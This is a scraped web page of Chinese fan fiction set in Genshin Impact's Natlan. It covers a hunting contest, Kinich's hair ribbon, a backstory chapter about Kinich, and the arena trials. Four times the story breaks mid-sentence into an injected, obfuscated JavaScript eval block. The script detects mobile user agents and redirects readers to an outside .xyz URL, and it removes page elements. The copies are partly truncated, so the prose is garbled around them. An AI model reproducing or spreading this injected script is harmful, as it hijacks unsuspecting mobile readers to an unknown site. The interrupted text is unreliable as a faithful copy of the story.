不得不说基尼奇每天的耳提面命还是相当有作用的。以前的我绝对不可能花这么多时间来研究和布置这么多复杂的设施,而现在,布置完之后,等待猎物上钩的过程中,我居然还能感受到一丝兴奋和惬意。 * 远处的天幕上,时不时爆出一束束信号烟花,标识着有人已经抓捕到猎物。 我躲在岔道之前的一丛灌木里,静静地观察着外面的场景,头发上还插着一堆树叶,手里的弓正对着树枝枯叶的缝隙。 终于,目标出现了,而且不止一个。 ——一群山兔正缓慢地从我面前的小道跳过去。 一只。 两只。 五只。 直到这一大群兔子全部进入岔道口。 我缓慢地绷紧身子,把早已备好的箭搭上弓弦。 “咻——” 箭头歪了,但无所谓。插着鸟羽的箭从兔子们的身后射出,接二连三地射入其中一条岔路。 林子里顿时热闹起来,鸟雀被吓得拉长了声音,配合着箭的咻咻声,成功让这一群兔子乱了阵脚,慌不择路地朝另外一条看似安全的岔路跑过去。 我满意地从树丛里钻了出来,拍了拍身上的叶子,朝那个方向走了过去。 五只兔子全部安详地躺在我提前在另一条岔路内布置好的陷阱里。 玩个游戏也能体验一次守株待兔的感觉,也算不错。 我拿绳子把它们包了起来,然后放进了猎笼里。 接下来是另一处陷阱。 * 狩猎的一天很快过去了。 今日收获颇丰,我拖着一大堆猎物,庆幸自己带了足够多的袋子。 等我走到出口的时候,太阳已经快要落山了。 出口处的高台下已经黑压压地站了一群人,都是比赛的少年和侍从。 “快看,那位在那儿!” “果然是最慢的,真丢人——” 我听到周围的长老族人开始七嘴八舌地讨论。 最慢的又怎么样,马上我的猎物吓死你们。 我擦擦汗,朝远处跑过来的面带焦急神色的达利也挥挥手:“达利也!来帮我搬一下!” 达利也愣了一下,这才看见我后面还拉着一条长长的绳子。 他接过我手中的绳子,用力一拉,一大串绑好的网袋从树丛里滚了出来。 也许是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14982073|161500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因为达利也手劲太大,猎物感觉被弄疼了,也有可能是因为到出口时,猎物的视野终于变得开敞,反正一时间,乱七八糟的兽禽叫声几乎震翻了天。 看清楚我猎物的数量后,全场都安静下来。寂静之中,野雉的尖厉嚎叫,兔子蹦来蹦去的跺地声,各种鸟雀的叽喳声,这些猎物的叫声显得更加刺耳。 高台上,便宜爹的眼神从开始的恼怒变成了深思。阿雅克的戏更多,他的神色从开始的幸灾乐祸,变成了不可置信,最后变成了警惕与深沉。 我其实很想跟他说自己不想参与他臆想的“世子之争”。 一个侍从跑过来清点猎物数量。清点完,他试探性地朝着高台上的便宜爹问道:“老爷,少爷的猎物数量已经是榜首了……” “既是榜首,问我做什么。” 侍从又看了看旁边。我这才发现我爹的旁边已经站了一个少年,此刻正尴尬地看着我。 哦,应该是以为自己是第一名,结果被我截胡了。 真不好意思。 于是,在各种各样的目光里,便宜爹没什么感情地宣布了我是榜首,然后又讲了一堆废话。最后,才到了颁发奖品的时候。 前三名都有奖品。这个游猎会搞得还挺有节目效果,颁奖还是倒着来的。 第三名拿到了一把象牙做的精雕弓。第二名的那个少年拿到了一柄莹白色的长剑,他看起来很是满意。 接着就到我了。 不得不说,我还挺期待,毕竟只有第一名的奖品是归火圣夜巡礼的奖品。前两名拿到的都是武器,难道这一个也是武器?真是太好了,我真的很需要这种武器。 我翘起嘴角。 能够使用元素力的剑?还是法杖?还是弓? 侍从恭敬地将一个刻着精致花纹的盒子递给我。我接了过来,掂量了一下,感觉还挺轻,应该是比较便携的武器。 我缓慢地将盒子打开。 看清奖品的那一刻,我愣住了。 ——这是一条绿色的像素风格的发带? 怎么不按套路出牌啊?归火圣夜巡礼的奖品是全是发带吗?关键是我要这么多发带做什么,我已经有发带了啊,而且感觉发带还是装饰性更强啊,没什么实用性。 我有些失望。 我细看了一阵,发现这条发带跟我的发带居然是同一个款式,只是一红一绿颜色不一样。而且这种绿色总感觉跟基尼奇的眸色很配。 刚冒出这个想法,我的心就咯噔了一下。 熟悉而冰冷的系统提示音响起。 【恭喜玩家伊迷获得关键物品“基尼奇的发带”!】 ……什么叫基尼奇的?我有种不祥的预感。 【请玩家在30分钟内为基尼奇戴上这条命定的发带,否则启动惩罚程序!】 什么意思? 我愣了一秒。 直到看到眼前浮现出鲜红的倒计时,我才反应过来。 ……我现在能说我想要第二名那个少年的奖品吗? 合着我累死累活准备游猎会,拿到的奖品是给你们游戏世界主角用的对吧! 到底基尼奇是NPC还是我是NPC! 我狠狠地咬了咬腮帮,感觉自己亏大发了。 12. Chapter12 感觉自己在被游戏遛着玩。 就在刚刚,我度过了一整天又脏又累的游猎会,成功夺冠。本以为会得到一个称手的元素力武器,结果居然只得到了一条发带,而且还是“基尼奇的命定发带”! 服了。 一领完奖,我就马不停蹄地拖着疲累的身体朝基尼奇家赶。 对一个路痴说三十分钟之内送到,送不到还有惩罚——抽象系统,等我出去一定把你们这家游戏公司告上法庭。 诈骗!简直是诈骗! 所幸,我最终找到了路,并赶在系统宣布惩罚之前找到了基尼奇。 那人正在他家前的溪流里悠闲地冲澡,属于少年的身体上挂满水渍。 我气喘吁吁地看着一身清爽的基尼奇,大声喊道:“喂,基尼奇!” 基尼奇这才发现我来了,他颇有些狼狈地扯过岸边的衣服盖在身上,然后背对着我从小溪里站起来。 夕阳斜照,淙淙的溪流声里,基尼奇的声音响起:“什么事这么急?” 他看了看我又脏又累的样子,似乎是想到了什么,斟酌着开口:“……游猎会失利?” 我摇摇头,刚才跑得太急,导致现在嗓子有点哑。 我向他招招手,示意他过来。 他穿好衣服,颇为听话地走了过来。 我凑近他,踮着脚把他的额发整理了一下,然后把刚得到的绿色发带给他系了上去。 “……发带?” 基尼奇长长的睫毛似乎微微颤动了一下,随即有些疑惑地问道。 【检测到关键物品“基尼奇的发带”已佩戴成功,奖励发放中——】 半晌,系统都没有播报奖励是什么,估计又是故障了。 反正听到这句话,我才放松下来。一整天的劳累和奔跑的酸痛侵袭过来,我深呼吸,揽住基尼奇的肩,趴在他身上。 “基尼奇老师,我真是亏死了。” 我闻着基尼奇身上微微沾着点潮湿的熟悉气味,嗡嗡地说。 他似乎僵了一下,也似乎是看我累,给我了一点时间缓冲,好一会儿才有下文:“……所以发生什么事了。” 呃。 具体让我解释的话,我也不能跟基尼奇说是系统搞事情的原因。 我顿了下,说:“游猎会拿了第一名。发带是奖品,我想送给你。” 身边的人默了一下,轻轻拍了拍我的背:“谢谢。” 休息够了,我才放开他。 “跑这么急就是为了给我送发带?” 基尼奇看上去依旧冷淡,但我看见他的眸中有笑意闪过。 小酷哥。 “嗯,”我仔细看了看他的新装束,觉得还挺好看,“这发带很适合你诶。” 基尼奇摸了摸额头上的发带,似乎是承诺性地说:“我很喜欢,我会一直戴着它。” 虽然我的本意不是这个,但是他这样说了,我倒也很高兴。 算了算了,反正是系统坑我,跟基尼奇无关,还是不要迁怒其他人。毕竟我能夺冠,也是基尼奇小老师教得好。 元素力的事情,倒也不急在一时。 * 自从游猎会大出风头之后,我感觉最近出门时,总有一些若有若无的目光在打量我。 我还有点担心会不会人设转变太快。 所以当我被便宜爹破天荒地主动搭话时,我承认我紧张了一下。 我本来一大早被达利也拖起来吃早饭,正睡眼朦胧地准备速战速决,好回去睡个回笼觉,结果刚出房间,迎面就撞上了冷着脸的便宜爹,一下子把我的睡意全都吓没了。 便宜爹其实不算年轻了,但由于他老是板着脸做出严肃的表情,所以见到他的人很少关注他已经微微泛白的头发。 我瞪着双眼,视线落在他的鬓角,还有些懵。 他背着手,咳了一声,随即用硬得不能再硬的语调说:“……游猎会表现得不错。” “……哦。”我愣愣地点点头。 气氛似乎有些尴尬。 他的脸似乎更冷了:“今天上午到书房来一趟,有事告诉你。” “哦,好的——啊?” 什么意思?怎么还有单独训话的戏份? 我挠挠头,心想果然太出风头了,早知道就拿第二名了。 便宜爹说完这句话就径直回自己的房间了,根本不给我反应的机会。 好烦,这下回笼觉也睡不成了。 我只好用最快的速度吃完早饭,然后一路奔赴书房。 “叩叩——” 我敲了敲门。 里面的谈话似乎中断了一瞬间,随即是一道熟悉的声音。 “老爷,那我先告退了。” 门打开,里面出来了一个人,果然是阿雅克。 他看了我一眼,似乎要说什么。 我抢先一步:“让让,挡路了。” 阿雅克脸色一沉,但我不怎么害怕,毕竟他是装哥,在这里不可能把我怎么样。 果然,他恢复了笑意,弯着腰向我打了招呼,然后乖乖地请我先进去。 啊,欺负腹黑哥让我一早晨的郁气都消散了不少。 我趾高气扬地从他身边路过,然后谨慎地踏进便宜爹的书房。 出人意料的是,书房里除了便宜爹,还坐着另外一个人,而且这个人似乎我还很眼熟。 这是一个十六七岁的少年,穿着一身紫色花纹开敞衫,露出的胸膛上还绘着奇怪的图案。 见我进来,他火红色的双眸先是微微眯了一下,似乎在打量和确认着什么,随即,那双如同被阳光浸润过的眼睛倏地睁大,露出不可置信而欣喜热情的神色。 “嗷,是你!” 非常熟悉的声音,清澈而微微带些沙哑,一下子就让我想起了他是谁。 送我颗粒果的那位。 我弯着眼睛,向他打了打招呼。 便宜爹似乎很惊讶我和他认识,神色罕见地有了些起伏。 “伊迷,你和这位古名继承者认识?” 古名继承者? 我暗自惊讶了一番,这我是真的没看出来,谁家古名继承者每天在街上推销颗粒果。 那少年见我愣住,笑容更大了。 他转头朝便宜爹解释:“之前他买过我家的颗粒果。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14982074|161500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “原来如此,那也算有缘,”便宜爹朝我抛了个眼色,示意我过去,“伊迷,这位是达尔,是悬木人的英雄。” 我乖巧地凑过去,喊了声:“达尔哥哥好。” 咦,我被自己的话恶心到了,果然我还是不太适应这个突然的年龄转换。 为了出游戏,拼了。 对面的少年非常开朗地向我伸出了手,主动介绍道:“你好呀,伊迷!我是【帕洛特】的达尔,对,【帕洛特】是我的古名,意思是热情与责任哦!” 热情与责任吗? 我配合地跟他握了握手。 便宜爹似乎乐见其成。他看着我,说道:“达尔曾与我族约定,要教导这次游猎会的榜首,你们既然认识,那便更好了。” “从今天起,你就可以跟着他学习了。” 这简直是意外之喜。 我反应过来,又不那么后悔自己没拿第二名了。 毕竟这人是古名继承者,如果有他来教我的话,说不定我能更好地理解这个游戏世界的本质,包括世界背景,以及我一直想了解的元素力。 我看向对面的少年,他朝我眨了眨眼。 * 达尔牵着我一路走出了悬木人的部落,这还是我来到游戏世界后第一回出部落。 我瞥了眼路旁的火神神像,又看了看仰着头哼歌的达尔:“喂,达尔,我们现在是要干嘛?” 达尔听到我喊他,微微弯了下身子,把我抱起来。 他毕竟已经接近成年,比基尼奇还要高上不少,再加上力气出奇之大,抱我起来简直轻轻松松。 我反抗无用,有些恼怒地拍了拍他的手臂。 他闷闷地笑:“你这小朋友,怎么人前一副样子,人后又一副样子。” “……你先把我放下去。” “不要,”他眨眨眼,“你自己走的话,我听你说话会很累。” 草。 我压下怒气,接着问:“所以我们要去哪?” “去参加归火圣夜巡礼。” 啊? “不对,准确地来说,是我去参加归火圣夜巡礼,”达尔补了一句,“伊迷,你就看着我就好啦。” 见我还有些迷惑,他接着说:“不要小看观察哦,看强者们的比赛也是一种学习哦。” 这倒也是。刚好借这个机会了解一下什么是真正的归火圣夜巡礼。 不过话说回来,基尼奇似乎也说过类似的话。 诶,对,还有基尼奇。我仰头看着他,“达尔哥哥,你在教我的时候,能顺便教导另外一个孩子吗?” 他似乎愣了一下,随即笑道:“你这小朋友,只有在有求于人的时候才会乖乖的。不过,我恐怕没有这么多精力照看两个小孩。” 他掰着指头:“今天要去参加归火圣夜巡礼的团体赛,明天要去流泉之众送信,后天要去参加归火圣夜巡礼的个人赛——如果有的话,大后天要……” “啊,”他抓了抓头发,“事情真多。” ……算了,反正他教给我的知识我再教给基尼奇也可以。 这样我还能当基尼奇的老师,想想就开心。 13. 番外1 基尼奇从小就很“懂事”。 在别的孩子拉帮结队去悬崖上疯玩攀爬的时候,他就已经学会了每天早上在天还未亮的时候起床,然后走很长的路去部落里找可以承接的交易。 夜晚也是如此,在别的孩子在餐桌上挑食撒娇的时候,他会在白天布置好的陷阱旁等待,好的时候或许是一头野猪,坏的时候也许两手空空。 他也曾经像别的孩子一样,高高兴兴地揽着父亲的肩膀,在山脉之间冒险,跟随着风和太阳奔跑;他也曾经舒舒服服地躺在母亲的怀里,听着集市上人们的闲暇交谈,看龙群飞过天穹。 只是一切幸福都有代价,从父亲第一次赌博失败开始,这如风似梦的童年便随着乌厄尔河的流水消散了。 他的父亲是个三天打鱼两天晒网的信使,喜欢在赌桌上孤注一掷。侥幸赢了的话,他会打扮得干净体贴,面带温柔的笑容,给基尼奇带上一盒外邦人渡来纳塔的糖果,再给妻子挑朵冒险者在清晨的悬崖上摘的花。大多数时候,输了的话,他就会借钱去一醉方休,在次日天亮的时候拖着一身灰尘和酒气踹开家门,沉默地躺在床上。 基尼奇的母亲是个清醒的女人,在凌晨醉如烂泥的丈夫归来的时候,她总是捂着基尼奇的耳朵,与丈夫争吵。 争吵有时会以酒鬼赌徒的认错而终结,但有时也会变成一场惨烈的家庭战争,而胜者往往是身强力壮的父亲。一切结束后,母亲只好带着满身的疲惫和伤痕,沉默着打理屋后的作物,但这还是远远不够,毕竟家里有三张嘴要吃饭。 于是基尼奇便理所应当地承担了本属于父亲的家庭责任——赚摩拉,种地,打猎。 父亲和母亲都没有提出反对。 这些在某一天父亲输掉房子、他们一家搬到了远离部落的山脚之后,变成了天经地义的事情。 其实他并不觉得这些是很值得悲伤的事情,只是有些时候看着那些沐浴在爱和自由中的悬木人部落其他孩子,他也会心生羡慕。 在无数枯燥的日子中,他看见了一个突然出现的小孩,像是突然打乱了某种冥冥的节奏。 他确信这个小孩是突然出现的。 他本来在悬木人外的部落里卖自己采的三袋颗粒果。这天阳光出奇地大,似乎在昭示着什么变故,基尼奇走在山路上都感觉得到地上滚烫的热浪,他罕见地感到了累。 于是,他把两袋颗粒果迅速交给面前的商人卖掉,准备收拾东西回家的时候,转头却发现原来放着另一袋颗粒果的位置被一个站在原地发愣的小孩取而代之了。 他抹了把汗,环视了一圈。 这么短的时间,那么一大袋颗粒果,任谁都不可能拿走,更何况,周围根本没有其他提着颗粒果的人。 难道是被挡住了? 他又仔细观察了一下。 这个孩子大概也是六七岁的样子。黑发黑眸,和部落里的人都不一样,再加上身上穿得这么奢侈,倒是有点像那个奇怪部族的孩子。 基尼奇听到他喃喃自语道:“……奇怪,游戏系统呢?” 游戏系统?这是什么东西。 基尼奇有些好奇,而且暂时不知道颗粒果到哪去了,他决定继续跟着这个小孩。 那小孩懵了一会儿,似乎下定什么决心一样,开始往悬木人的聚落走。 基尼奇看了半晌,觉得这个小孩应该是迷路了,于是他决定不再管那袋已经丢失找不回来的颗粒果,向这个小孩发出交易邀请。 拖泥带水从不是他的风格。 他从丛林里钻出来,拍拍身上的落叶,向他的交易对象伸出手。 “需要我帮忙吗?” 基尼奇终于看清了这个小孩的长相。 很奇怪,明明脸上没有什么涂饰,但他似乎依然是这天地间最鲜明的颜色,黑发黑眸与出奇苍白的皮肤形成剧烈对比。他明明脸上全是不加掩饰的苦恼和厌烦,基尼奇却分明透过那层神色,看穿了他的灵魂。 这一瞬间,基尼奇意识到,他们可能是相近的。 听说那一族的少爷向来不受宠,应该是这个人吧。 不,他们也不相近,基尼奇想,他动动手就可以得到很多东西,而自己—— 基尼奇看了看自己粗糙的手。 “我会收取报酬。”基尼奇听到自己冷淡的声音,看到自己伸出的手悬在空中没有回应。 基尼奇想:他会嫌弃自己又脏又破。 基尼奇要收回手的前一刻,一只柔软干净的手覆了上来。 “那你背我。” 干净而温暖的身体揽住他的后背,基尼奇分明感到自己的伤痕全被看见了。 他一方面觉得无所谓,毕竟全部落的人都知道他的处境;另一方面,他又罕见地感到难为情,大概是因为背上的那个人太过纯粹,与他,就像是云泥之别。 基尼奇又想:他会问这些伤痕来源吗?如果问了……他要怎么回答?他会因为这些伤痕而嫌弃我吗?就像部落里的其他孩子那样。 所以,当这个人把身上的所有摩拉全部给基尼奇并且用非常真诚的神色赞美基尼奇的眼睛的时候,基尼奇承认自己有些惊讶。 他没有说谎,基尼奇看得出来。 就像是,那道分别他们的壕沟,无论是物质上,还是精神上,都霎那间愈合。 基尼奇破天荒地嘴比脑子快:“你叫什么名字?” 说完他就懊悔了,他们只是交易对象,只有雇主和雇客的关系,并不需要知道这些更进一步的信息。 果然,对面的那个人并没有回答他。 * 基尼奇本以为自己与那个奇怪的孩子的缘分会到此为止。 只是没想到,又一次在市场上见到他那副神采奕奕的表情的时候,他会忍不住上前。 毕竟人们都喜欢温暖干净的事物,这没什么。基尼奇安慰自己。 基尼奇又一次做出了不属于自己风格的行为,他竟然会做出帮别人垫付的事情。要知道,这种没有利益只有麻烦的事情,他很少做。 但是当基尼奇看见这个人纯粹热情的笑容的时候,他忽然又觉得这没什么了。 “他是我的朋友!”“我叫伊迷!” 这两句话几乎让基尼奇有些不知所措,他下意识地垂下头,采取了自我掩饰的动作,就像是森林里猎物垂死挣扎时的动作一样。 于是,他只敢在伊迷走了之后,呆呆地站在原地念出刚才想说的话。 “我也想和你做朋友。” * 朋友。 基尼奇觉得这种东西比摩拉和猎物更珍贵。 在基尼奇的印象里,朋友总是与自由和快乐挂钩。每当基尼奇做累了委托,他都会往悬崖上看一眼,那里,成群结队的孩子荡着绳索,欢呼着飞上爬下,彼此交换汗水,彼此寄托后背。在悬木人的传说里,友谊也是最珍贵的物品。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14982075|161500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>有时,也许是在酒鬼父亲施暴之后,也许是在寂静的夜晚捕猎空手而归之时,也许是听到母亲无声的叹息,最经常的是在枯燥的委托之中,基尼奇有时也很想倾诉,或者就是想要一个人能够并肩而行,偶尔说上一两句话。 可惜,从小到大,基尼奇从来没有过这种珍贵的朋友。 他遇到的人,也许有善良的,也许有开朗的,但最终,在得知基尼奇有一个贫穷的酒鬼父亲之后,在追问本就性格沉默的基尼无果之后,或止于无趣,或失于畏惧,无一成为基尼奇的朋友,更有甚者,成为了欺凌基尼奇的孩子帮的一员。 基尼奇不太敢相信伊迷的话是真的。 即使是真的,伊迷在得知他是这样的满身泥泞之后,应该也不会再想跟他做朋友了。 基尼奇想,我要藏好我的不堪。 可是似乎命运总是喜欢戏弄人,将最不堪的一面撕开给人看。基尼奇冒出这个想法的第二天,伊迷的侍从来还钱的时候,恰巧就碰见了基尼奇最不想让伊迷碰见的场景。 侍从长得很憨厚。基尼奇苏醒后,就这样失望而静静地看着他忙上忙下。基尼奇知道他是善良的,但基尼奇也知道,这个人回去后,一定也会劝他们家尊贵的少爷不再与自己交往,以免惹祸上身。 人之常情。 基尼奇想,算了,就这样吧。 * 可有些人偏要自己撞上来。 基尼奇照常在森林里布置陷阱的时候,就听到远处传来熟悉的呼救声。 他几乎下意识地就朝那个方向跑了过去。 直到从熊爪里就下伊迷的那一瞬间,基尼奇才轻轻呼出一口长气。 没人知道刚才他的心脏跳得有多快。 可现在,基尼奇看向臂弯里的人,心跳却更快了。 基尼奇闭了闭眼睛,心想:他知道那些事情了,他会嫌弃我,会收去那副纯粹而热烈的笑容,会像以前那些人一样,摆出冷淡疏离而同情畏惧的表情。 可是,当他睁开眼睛的时候,映入眼帘的,却依然是那副比阳光还明媚的笑容。 “基尼奇!” 别喊我。基尼奇僵了一下。 伊迷完全放松下来,以一种极其信赖的姿势靠在基尼奇身上。 他并没有芥蒂,基尼奇想。 基尼奇松了口气,这是他七年来最开心的一天。 * “世上没有什么是免费的,明码标价之物尚且安全,免费的援助更值得警惕。” 基尼奇知道这一点。 对于伊迷的亲近,基尼奇曾经想过原因,也曾经有过不好的猜测。 尤其是那天在七天神像前。 伊迷依然笑着,说他没有出过部落。基尼奇看见他飘忽的眼睛就知道他在骗人,因为他们初见时,明明就是在部落外。但基尼奇并没有生气。 基尼奇终于推断出了事情的真相,在伊迷再一次说出“游戏系统”这句话之后。 基尼奇起初感到震惊,但他随即又觉得也没什么好惊讶的,如此荒谬的生活,是一场游戏还是一场真实,于他而言,都没什么区别。 他想,怪不得伊迷会突然出现。 原来这个世界对他来说,只是一场游戏。而自己,也许是他游戏中的一环。 没关系,基尼奇失落地想,不管是出于什么目的,只要他们还是朋友。 伊迷,你答应过的,不能反悔。 14. Chapter13 在我的死缠烂打之下,达尔终于把我从他怀里放下来。 脚踩在大地上的感觉真美妙。 他牵着我的手在峡谷里走动,不时还会摸一把路过的长得很像穿山甲的灰龙。这些灰龙似乎格外爱与人亲近。 我试着也摸了摸,换来了一声舒服的低吼。 下一秒,掌下的龙突然一跃,钻进了泥土里。 呃,不会真是穿山甲吧。 达尔见状大笑:“这是嵴锋龙,回声之子的主龙种,但是在纳塔的其他地方也有可能见得到。” 这就是嵴锋龙啊,我看着涌动的土层吐槽道,还以为这么霸道的名字应该配一个霸王龙之类的。 达尔松开我的手,上前一步,似乎约定好一样,接住了忽然从土里跃出的小龙。一人一龙亲昵地蹭了蹭脸:“——这小家伙我认识,去回声之子送矿的时候,我还喂过它呢。那时候它连钻角都没长齐,钻地钻到一半,笨呼呼地卡在土里,我费了好大的力气才把它拔出来。没想到一转眼就能在这么坚硬的峡谷里自由穿行了。” 达尔说着说着,不由自主地就笑了起来。 “……哦。”我有点酸。 达尔把小龙放下,目送它颠颠地跑去远处的山脉。 我注意到他的左腿上绑着一颗火红色的宝石,宝石镶在两层角状灿金色金属之上,正中心似乎还绘着一朵火焰,并且还在跃动。 我想了想,抬眸问他:“达尔,这个是什么?” 达尔一愣,随即取下那颗宝石,递给我:“这个啊,这个叫神之眼,是使用元素力的外置器官哦。” 元素力? 我接过那颗宝石,火焰般纯净温暖的触感透过指尖传过来。 “只要有这个就能随便运用元素力吗?” 达尔把手覆盖在我的手上面。他的手很大,黝黑而有力。 他露出牙齿,故作高深地说:“不行哦,只有被众神认可的人,才能使用其中一种元素力。” 他举起另外一只手,转头看我:“看好咯!” 他修长的手臂一挥,火焰霎时在天空中闪现,随即如同一条长蛇一样,缠绕住他的手臂。 隔着很远,我都能感受到滚烫的热度。 达尔猛地握拳,往近处矿脉的方向狠狠挥出。成群的火焰如同复活了一般,争先恐后地朝某个目标侵袭过去。 “嘭——” 巨大的火花和烟尘炸开。 我下意识闭上眼。 等一切安静之后,我才睁开眼。无数矿物晶尘弥漫在半空中,如同置身星河。 这就是这个游戏的战斗设定吗?如果系统没故障的话,我觉得我会很喜欢这种元素力的机制。 就像是童话变成了现实。 达尔颇为自豪地朝我一笑。 “还不错。”我学着他刚刚故作深沉的样子,拍了拍他的腰。 “……你这小鬼,”达尔气笑了,“行吧,我们要抓紧了,要不然马上归火圣夜巡礼要迟到了。” 你才想起来吗。 * 远处,巨大建筑物已经清晰可见,克莱因蓝色的旗棚和五彩的巨大圣火在高处分外显眼,震天的热烈呼喊声直震云霄。 达尔牵着我的手,一路步过悬崖。 我看着远处高耸的彩绘柱以及中间悬挂的太阳形状的金色巨环,捏了捏达尔的手:“这是什么地方?” 达尔又想把我抱起来,还好我及时闪开。他哈哈道:“这是圣火竞技场,很好看吧!你们一族常年不出悬木人部落,不知道也是正常的。” “圣火竞技场?” “对,字面意思,这里就是用来竞技的。归火圣夜巡礼的团体赛在荒野里举行,而最终的个人赛,全纳塔的英雄都会汇聚于此,决斗出最终的冠军,”达尔越说越激动,“好期待!” 呃。我拉了拉他,制止他更激动的行为,“那我们到这里做什么?” 达尔蹲下来看着我:“把你暂时寄存在这里。” ……? “哈哈,别想多了,无论哪一场比赛,这里都是绝佳的观赛区呢!圣火形成的光幕会让你们对比赛的状况一览无余,还有专业的主持人解说啊!”达尔拍了拍我的头,“而且火神大人在这里,你的安全不会有任何威胁。” 这么高级,这还是部落社会吗? 我还想说些什么,但达尔已经站起身,朝人群汹涌处走去了。我只好跟上他。 * 圣火竞技场里面非常大。 正面高台上站着一个手舞足蹈的男人,不知道在做什么。旁边的观众席上几乎已经座无虚席。 我一进来就在找谁是火神。对一个游戏来说,神明绝对是最重要的存在之一,况且之前我还和火神神像发生过共鸣,说不定这里有支线剧情可以让我找到使用元素力的方法。 但是很遗憾,我没有找到任何一个符合火神描述和地位的人。 应该是尚未出场。 “——感谢火神大人的致辞。接下来请各路选手搭乘热气器前往随机地点……” 啊? 火神已经出场了? 我反应过来,使劲地拍了达尔一巴掌,“都怪你迟到!” 达尔尴尬地挠挠头,连声说着抱歉。结果下一秒,他就趁我不备把我抱了起来,然后扔向了观众席的某个人——一点也不像古名中带有“责任”含义的英雄。 “首领叔叔,帮我看下这孩子——” 我来不及朝他瞪眼,就见他急急忙忙跳向了一个即将起飞的热气球,那里面已经站了两个人,似乎对他的迟到已经习以为常。 草。 悬空感消失,我落入了一个温暖的怀抱。 应该是达尔说的首领吧,但是不知道是哪一个部落的首领。我回头一看,一个留着络腮胡子的大叔朝我一笑,他的旁边躲着一个穿着橘黄色连体衣的小女孩,一双兽耳在空中不安地摇晃。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14982076|161500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > ……等等,兽耳? 这游戏还有兽人? 我好奇地将目光投向那个小女孩,对方注意到我的视线,似乎更不好意思了。 直到背后的人咳嗽了一声,我才反应过来,连忙向两人问好:“首领叔叔,你们好,我是伊迷!” 大叔开口了:“你好,我是[回声之子]的首领,这个小女孩是我们部落的古名继承者卡齐娜。” 呃,这么小的古名继承者。你们NPC真逆天。 首领热情地握着我的手:“你是那一族的孩子吧?跟卡齐娜打个招呼吧!” “那一族”?似乎纳塔的每个人都是这么称呼我的族群的……看来我这一族在全纳塔的地位确实很奇怪。 我收起心思,歪歪头朝卡齐娜打了个招呼。她眨眨眼,伸出戴着小熊手套的手朝我挥了挥手。 我坐了下来,开始专心致志地看比赛。 * 高台上的圣火中散发出一串串光束,在竞技场的周围盘旋,最终汇聚成一整片天幕,覆盖在观众席的上方。 不一会儿,比赛选手的状况就在上面全部显现。 我不得不感叹元素力的方便程度,这简直是沉浸式观影,比现实世界的全息电影还要舒服。 画面中,选手们的热气球降落的一瞬间,竞争就开始了。 我仔细观察了一下,好像大多数选手身上都没有佩戴神之眼,按达尔的说法,这部分人应该是不能使用元素力的。 果然,不能使用元素力的人,单靠意志和蛮力,很难在这场竞争中夺得名次。 但是,那些输掉的人,虽然脸上挂着失望,但更多的神情是满足与愉悦。 根据前面杂书的说法,参加归火圣夜巡礼,能够产生圣火,这也能帮助纳塔对抗深渊。 其实严格来说,我很难理解纳塔人这种惊人的团结与奉献精神。但话说回来,也是因为这是一场游戏,玩家对待游戏NPC,很难设身处地地共情。 我轻不可察地叹了口气。 画面中,达尔率领的队伍虽然是最晚落地的,但很快就取得了上风。 在达尔手里,火元素力无所不能,制造障碍,发起进攻,搭建工具,这些用法简直闻所未闻,让他一路披荆斩棘。 我想:怪不得连便宜爹都能对他另眼相看,达尔的确是个天才。 看来我确实得缠着他好好学东西。既然主线与基尼奇和火神都有关,而且不是个攻略游戏,那免不了要有一定的保命能力。 况且,学到元素力怎么使用了之后,我还可以教给基尼奇,这样他就能对抗他的酒鬼父亲。 目前看来,这种方案是应对未知主线的最高效的两头作战方案。 团体赛很快结束了,达尔的队伍不出意料地进入了决赛圈。那人呲着牙,迎着天幕竖起了大拇指。 人声鼎沸中,我仿佛听到了他浸染着阳光的声音:“伊迷,你看吧,我就说我很厉害!” 15. Chapter14 这个国家的文明有些时候给我一种既高阶又低阶的感觉。 比如说现在,达尔那家伙居然坐着一条鱼从天上的金黄色光道飞回了圣火竞技场,全程连一分钟都没用到。 磁悬浮列车吗这? 不得不说游戏制作师想象力真丰富。 